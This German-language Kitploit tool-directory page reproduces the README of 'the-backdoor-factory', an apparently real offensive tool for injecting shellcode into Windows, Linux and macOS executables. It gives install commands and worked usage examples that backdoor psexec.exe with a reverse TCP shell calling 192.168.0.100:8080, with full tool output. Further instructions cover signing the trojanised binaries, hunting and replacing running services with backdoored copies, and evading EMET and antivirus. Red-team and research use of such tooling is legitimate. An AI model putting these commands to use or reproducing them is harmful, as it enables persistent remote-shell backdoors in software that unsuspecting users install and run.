Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
the-backdoor-factory — Patch PE-, ELF- und Mach-O-Binärdateien mit Shellcode. Neue Version in Entwicklung, nur für Sponsoren verfügbar. | Kitploit
Tools/GitHubGitHub/secretsquirrel/the-backdoor-factory
ExploitationReverse EngineeringShellcodePost-ExploitationMalware-AnalysePenetrationstestsRed TeamingPayload-EntwicklungBinary-Exploitation

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubsecretsquirrel/the-backdoor-factory

the-backdoor-factory

Patch PE-, ELF- und Mach-O-Binärdateien mit Shellcode. Neue Version in Entwicklung, nur für Sponsoren verfügbar.

Repository anzeigenWebseite
3.4k774vor 2 JahrenVon Kitploit geprüft

Die neue Version von BACKDOOR FACTORY ist verfügbar! Holen Sie sich Zugang hier: https://github.com/sponsors/secretsquirrel

WARNUNG: Pull Requests WERDEN IGNORIERT UND GESCHLOSSEN.

The Backdoor Factory (BDF)

Nur für Sicherheitsexperten und Forscher.

Das Ziel von BDF ist es, ausführbare Binärdateien mit vom Benutzer gewünschtem Shellcode zu patchen und die normale Ausführung des Zustands vor dem Patchen fortzusetzen.

Join the chat at https://gitter.im/secretsquirrel/the-backdoor-factory Black Hat Arsenal

Black Hat USA 2015:

root@kitploit:~
Video: https://www.youtube.com/watch?v=OuyLzkG16Uk

Paper: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf

Shmoocon 2015:

root@kitploit:~
Video: https://archive.org/details/joshpitts_shmoocon2015

Paper: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf

DerbyCon 2014:

root@kitploit:~
Video: http://www.youtube.com/watch?v=LjUN9MACaTs

DerbyCon 2013:

root@kitploit:~
Video: http://www.youtube.com/watch?v=jXLb2RNX5xs

Injection Module Demo: http://www.youtube.com/watch?v=04aJAex2o3U

Folien: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory

Kontaktieren Sie den Entwickler unter:

root@kitploit:~
IRC:
irc.freenode.net #BDFactory 

Twitter:
@midnite_runr

Unter einer BSD-3-Klausel-Lizenz

Siehe das Wiki: https://github.com/secretsquirrel/the-backdoor-factory/wiki


Installation

DOCKER

root@kitploit:~
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py

ALTE SCHULE

Abhängigkeiten

#####Um OnionDuke zu verwenden, MÜSSEN Sie sich auf einer Intel-Maschine befinden, da aPLib noch keine Unterstützung für den ARM-Chipsatz hat.

Capstone engine kann von PyPi installiert werden mit:

root@kitploit:~
sudo pip install capstone

Pefile, aktuellste Version:

root@kitploit:~
https://code.google.com/p/pefile/

osslsigncode (im Repo enthalten):

root@kitploit:~
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/

Kali-Installation:

root@kitploit:~
  apt-get update
  apt-get install backdoor-factory

Andere *NIX/MAC-INSTALLATION:

root@kitploit:~
./install.sh

Dies installiert Capstone mit pip 3.01 und installiert pefile.

AKTUALISIERUNG:

root@kitploit:~
./update.sh

Unterstützt:

root@kitploit:~
Windows PE x86/x64, ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32),
und Mach-O x86/x64 sowie diese Formate in FAT-Dateien

Gepackte Dateien: PE UPX x86/x64

Experimentell: OpenBSD x32 

Einige ausführbare Dateien haben eingebaute Schutzmechanismen, daher funktioniert dies nicht bei allen Binärdateien. Es wird empfohlen, Ziel-Binärdateien zu testen, bevor sie an Kunden ausgeliefert oder in Übungen verwendet werden. Ich bin kurz davor, NSIS zu umgehen, daher werden diese Prüfungen in Zukunft umgangen.

root@kitploit:~
Vielen Dank an Ryan O'Neill --ryan 'at' codeslum <d ot> org--
Ohne ihn würde ich immer noch versuchen, dumme Dinge mit dem ELF-Format zu machen.
Auch danke an Silvio Cesare mit seinem Paper von 1998
(http://vxheaven.org/lib/vsc01.html), auf dem diese ELF-Patching-Techniken basieren.

Kürzlich auf vielen Binärdateien getestet.

./backdoor.py -h Verwendung: backdoor.py [Optionen]


Funktionen:

PE-Dateien

root@kitploit:~
Kann alle Codecaves in einer EXE/DLL finden.
Standardmäßig wird der Zeiger auf die PE-Zertifikatstabelle gelöscht, wodurch eine Binärdatei unsigniert wird.
Kann Shellcode in Codecaves oder in einen neuen Abschnitt injizieren.
Kann feststellen, ob eine PE-Binärdatei mit erhöhten Rechten ausgeführt werden muss.
Bei der Auswahl von Codecaves können Sie die folgenden Befehle verwenden:
  -Jump (j), für Codecave-Sprünge
  -Single (s), um den gesamten Shellcode in eine Cave zu patchen
  -Append (a), um eine Codecave zu erstellen
  -Ignore (i oder q), ignorieren, diese Binärdatei überspringen
Kann DLLs ignorieren
Import Table Patching
AutoPatching (-m automatic)
Onionduke (-m onionduke)

ELF-Dateien

root@kitploit:~
Erweitert das TEXT-SEGMENT um 1000 Bytes und injiziert Shellcode in diesen Codeabschnitt.

Mach-O-Dateien

root@kitploit:~
Patchen vor dem Text-Abschnitt und Entfernen der Signatur

Gesamt

root@kitploit:~
Der Benutzer kann:
  -Benutzerdefinierten Shellcode bereitstellen.
  -Ein Verzeichnis mit ausführbaren Dateien/DLLs patchen.
  -Nur x32- oder x64-Binärdateien zum Patchen auswählen.
  -BDF in andere Python-Projekte einbinden, siehe pebin.py und elfbin.py

Beispielverwendung:

Patchen einer exe/dll mit einer vorhandenen Codecave:

root@kitploit:~
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp

[*] Im Backdoor-Modul
[*] Überprüfe, ob Binärdatei unterstützt wird
[*] Sammle Dateiinformationen
[*] Lese Win32-Einstiegsanweisungen
[*] Suche nach und setze ausgewählten Shellcode
[*] Erstelle Win32-Fortsetzungs-Ausführungs-Stub
[*] Suche nach Caves, die die minimale Shellcode-Länge von 402 aufnehmen
[*] Alle Caves-Längen: (402,)
############################################################
Die folgenden Caves können verwendet werden, um Code zu injizieren und möglicherweise
die Ausführung fortzusetzen.
**Gefällt Ihnen nicht, was Sie sehen? Verwenden Sie jump, single, append oder ignore.**
############################################################
[*] Cave 1 Länge als int: 402
[*] Verfügbare Caves:
1. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2e4d5 Ende: 0x2e6d0; Cave-Größe: 507
2. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2e6e9 Ende: 0x2e8d5; Cave-Größe: 492
3. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2e8e3 Ende: 0x2ead8; Cave-Größe: 501
4. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2eaf1 Ende: 0x2ecdd; Cave-Größe: 492
5. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2ece7 Ende: 0x2eee0; Cave-Größe: 505
6. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2eef3 Ende: 0x2f0e5; Cave-Größe: 498
7. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2f0fb Ende: 0x2f2ea; Cave-Größe: 495
8. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2f2ff Ende: 0x2f4f8; Cave-Größe: 505
9. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2f571 Ende: 0x2f7a0; Cave-Größe: 559
10. Abschnittsname: .rsrc; Abschnittsbeginn: 0x30600 Ende: 0x5f200; Cave-Beginn: 0x5b239 Ende: 0x5b468; Cave-Größe: 559
**************************************************
[!] Geben Sie Ihre Auswahl ein: 5
Verwende Auswahl: 5
[*] Ändere Abschnittsflags
[*] Patche anfängliche Einstiegsanweisungen
[*] Erstelle Win32-Fortsetzungs-Ausführungs-Stub
[*] Überschreibe Zeiger auf Zertifikatstabelle
[*] psexec.exe Backdooring abgeschlossen
Datei psexec.exe befindet sich im Verzeichnis 'backdoored'

Patchen einer exe/dll durch Hinzufügen eines Codeabschnitts:

root@kitploit:~
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a
[*] Im Backdoor-Modul
[*] Überprüfe, ob Binärdatei unterstützt wird
[*] Sammle Dateiinformationen
[*] Lese Win32-Einstiegsanweisungen
[*] Suche nach und setze ausgewählten Shellcode
[*] Erstelle Win32-Fortsetzungs-Ausführungs-Stub
[*] Erstelle Codecave
- Füge einen neuen Abschnitt zur exe/dll für die Shellcode-Injektion hinzu
[*] Patche anfängliche Einstiegsanweisungen
[*] Erstelle Win32-Fortsetzungs-Ausführungs-Stub
[*] Überschreibe Zeiger auf Zertifikatstabelle
[*] psexec.exe Backdooring abgeschlossen
Datei psexec.exe befindet sich im Verzeichnis 'backdoored'

Patchen eines Verzeichnisses mit Exen:

root@kitploit:~
./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a
...Ausgabe zu lang für README...

Vom Benutzer bereitgestellter Shellcode:

root@kitploit:~
msfpayload windows/exec CMD='calc.exe' R > calc.bin
./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin
Dies öffnet calc.exe auf einem Ziel-Windows-Rechner. So 1337. Viel pwn. Wow.

PE-CodeSigning

BDF kann PE-Dateien signieren, wenn Sie ein Codesigning-Zertifikat haben. Es verwendet osslsigncode. Legen Sie Ihr Signaturzertifikat und Ihren privaten Schlüssel im Verzeichnis certs/ ab. Bereiten Sie Ihre Zertifikate mit openssl-Befehlen aus diesem Blogbeitrag vor: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html

Legen Sie Ihr privates Schlüsselpasswort in einer Datei ab (so, genau so):

root@kitploit:~
echo -n yourpassword > certs/passFile.txt

Benennen Sie Ihre Zertifikate GENAU wie folgt:

root@kitploit:~
signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem

Ihr certs/-Verzeichnis sollte genau so aussehen:

root@kitploit:~
certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer

Aktivieren Sie PE Code Signing mit dem -C Flag wie folgt:

root@kitploit:~
 ./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C

Bei erfolgreichem Durchlauf sollten Sie diese Zeile in der BDF-Ausgabe sehen:

root@kitploit:~
[*] Code Signing erfolgreich

Jagen und Hintertür einbauen: Injector | Nur Windows

root@kitploit:~
Das Injector-Modul sucht nach Ziel-ausführbaren Dateien auf der Festplatte, die mit einer Hintertür versehen werden sollen. Es überprüft, ob Sie das Ziel als Dienst identifiziert haben, prüft, ob der Prozess läuft, beendet den Prozess und/oder Dienst, injiziert die ausführbare Datei mit dem Shellcode, speichert die Originaldatei entweder als file.exe.old oder mit einer anderen Endung Ihrer Wahl und versucht, den Prozess oder Dienst neu zu starten.
Bearbeiten Sie das Python-Wörterbuch "list_of_targets" im Modul 'injector' für Ziele Ihrer Wahl.

./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow

Änderungsprotokoll

####01/11/2016

  • Fehlerbehebung für Trunkierung des Einstiegspunkts, der in seltenen Fällen zu einer fehlerhaften Wiederherstellung führte

####07/04/2016

  • Unterstützung für dynamische Pfade in BDFProxy für den Preprozessor

####06/19/2016

  • Preprozessor und andere Optimierungen hinzugefügt
  • Der Preprozessor ermöglicht es dem Benutzer, die Binärdatei vor der Payload-Injektion zu modifizieren
  • Aufruf mit dem -p Flag
  • Siehe Beispiele in ./preprocessor/

####20.12.2015

  • Verzeichnispfade zu BDF hinzugefügt, um das certs-Verzeichnis zu finden.

####18.12.2015

  • PE-Codesigning-Unterstützung hinzugefügt. Sie müssen Ihr eigenes Codesigning-Zertifikat bereitstellen. Siehe hier: https://github.com/secretsquirrel/the-backdoor-factory#pecodesigning

####17.11.2015

  • Fehlerbehebung im rsrc-Abschnitt für OnionDuke-Patching und Entfernung eines zufälligen win32-Versionswerts im PE-Header

####13.11.2015

  • Richtiges Abschneiden einer PE-Datei nach dem Löschen des Signaturzeigers im PE-Header - z.B. korrektes Unsingen. Dies führt zu einer besseren Unterstützung für IAT-Patching

####19.10.2015

  • Fehlerbehebung bei der IAT-Verzeichnis-Cave-Zuweisung, die zu BDF-Abstürzen führte
  • Das Feature mit dem -A Flag optional gemacht

####13.10.2015

  • Änderung der Import Table Directory-Modifikationen vom Hinzufügen eines neuen Abschnitts zur Verwendung einer vorhandenen Codecave

####12.08.2015

  • 'replace' PATCH_METHOD hinzugefügt - eine direkte PE-Kopie der bereitgestellten Binärdatei

  • Hauptsächlich zur Verwendung mit BDFProxy

    Verwendung: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe

####11.08.2015

  • Stabilitätsbehebung für automatische Cave-Auswahl bei seltenen überlappenden Caves

####05.08.2015

  • BH USA UPDATES, w00t!
  • OnionDuke, verwenden Sie -m onionduke * Unterstützt benutzerbereitgestellte Exe's und Dll's * Verwendung: ./backdoor.py -f originalfile.exe -m onionduke -b pentest.dll/exe
  • XP MODE = Frühere IAT-basierte Payloads unterstützten XP, Wine oder Windows 98 nicht. Wenn Sie XP unterstützen müssen, verwenden Sie das -X Flag. Ich unterstütze nichts älter als XP (und nicht XP x64).
  • UAC-Eingabeaufforderung zum Ausführen als Administrator aufrufen. experimentell - patcht das PE-Manifest, falls requestedExecutionLevel vorhanden ist.
  • Stabilitätsaktualisierungen: * Fehlerbehebung bei falscher RVA-Berechnung beim Springen über 2+ Codecaves * Bessere Prüfungen, um festzustellen, ob ein neuer Abschnitt für die IAT in angehängte Daten schreibt und daher fehlschlägt
  • Geschwindigkeitsverbesserungen: * Schnelleres Auffinden von Codecaves bei Verwendung des automatic Modus (-m automatic) * Schnelleres rsrc-Parsen zum Auffinden der Manifest-Datei

####01.05.2015

  • Fehlerbehebung für den reverse_tcp_stager_threaded Payload bei Verwendung von Single-Cave-Payloads

####28.04.2015

  • Prüfung auf gebundene Importe hinzugefügt (PE-Dateien mit gebundenen Importen werden nicht gepatcht)

####14.04.2015

So viele Aktualisierungen:

  • Automatisches Patchen für PE-Dateien (verwenden Sie -m automatic mit einem *_threaded Payload)

  • Neue IAT-Payloads für x86/x64 PE-Dateien

  • Einfach ansehen: https://www.youtube.com/watch?v=kkLI_ur6BxY

####14.02.2015 Ich liebe euch, Leute

  • Import Address Table-Patching für PEs hinzugefügt, um iat_reverse_tcp-Payloads zu unterstützen, die die Importtabelle für winAPI-Aufrufe verwenden. Wenn die Binärdatei, die Sie patchen, nicht LoadLibraryA und GetProcAddress hat, patcht BDF sie in eine neue Importtabelle in einem neuen Abschnitt. Unterstützt x64/x86 PEs.

  • iat_reverse_tcp für x64 PEs hinzugefügt.

  • Fehlerbehebungen und Verbesserungen

####01.01.2015

Frohes Neues Jahr!

Zwei neue OS X-Payloads! Der Delay: delay_reverse_shell_tcp

-B 30 --> verzögert den Payload um 30 Sekunden, der Hauptcode läuft sofort.

Festlegung eines festen Capstone-Commits für den Bau in BDF, das Capstone 'Next' Repository bricht BDF.

Fehlerbehebungen zur Unterstützung der Cython-Capstone-Implementierung bei Problemen mit Nullbyte-Trunkierung

####27.12.2014

payloadtests.py hinzugefügt.

Dieses Skript gibt gepatchte Dateien im backdoored-Verzeichnis aus, die es dem Benutzer ermöglichen, die Payloads nach Belieben zu testen. Jeder Payload-Typ erhöht den verwendeten Port um eins.

root@kitploit:~
Verwendung: payloadtest.py binary HOST PORT

####17.12.2014

OS X Beaconing-Payloads für x86 und x64: beaconing_reverse_shell_tcp

-B 15 --> Beacon-Zeit auf 15 Sekunden setzen

Fehlerbehebung zur Unterstützung von OS X für BDFProxy

####11.10.2014

PE UPX-Patching hinzugefügt

####26.09.2014

Mach-O x86/x64 hinzugefügt

x86 IAT-Payload-Optimierung

####31.07.2014

Unterstützung für ARM x32 LE ELF-Patching hinzugefügt

####22.07.2014

FreeBSD x32 ELF-Patching-Unterstützung hinzugefügt

Wechsel zur BSD-3-Klausel-Lizenz

####13.07.2014

Capstone integriert: http://www.capstone-engine.org/

Während des Hinzufügens von Capstone habe ich etwa 500 Codezeilen entfernt. Das ist ziemlich genial.

Umbenennung von loadliba_reverse_tcp in iat_reverse_tcp.

Kleine Optimierungen für die Geschwindigkeit.

####30.05.2014

Neuen win86-Shellcode hinzugefügt: loadliba_reverse_tcp

  • Basierend auf folgender Forschung von Jared DeMott: http://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf -- Danke @bannedit0 für die Erwähnung.
  • Dieser Shellcode verwendet die LoadLibraryA- und GetProcAddress-APIs, um alle notwendigen APIs für eine Reverse-TCP-Verbindung zu finden. Kein Stephen-Fewer-API-Hash-Lookup mehr (das immer noch brillant ist).
  • Er ist nicht heimlich. Er ist positionsabhängig. Aber die Ergebnisse sind großartig (Codecave-Sprünge): https://www.virustotal.com/en/file/a31ed901abcacd61a09a84157887fc4a189d3fe3e3573c24e776bac8d5bb8a0f/analysis/1401385796/
  • Umgeht EMET 4.1. Der Caller-Schutz erwischt ihn nicht.
  • Daher werde ich diese Idee mit einem Algorithmus weiterverfolgen, der die Binärdatei mit benutzerdefiniertem Shellcode patcht, basierend auf den APIs, die sich in der IAT befinden. Einschließlich der Portierung der aktuellen win86-Shellcodes auf diese Idee.
Tool herunterladen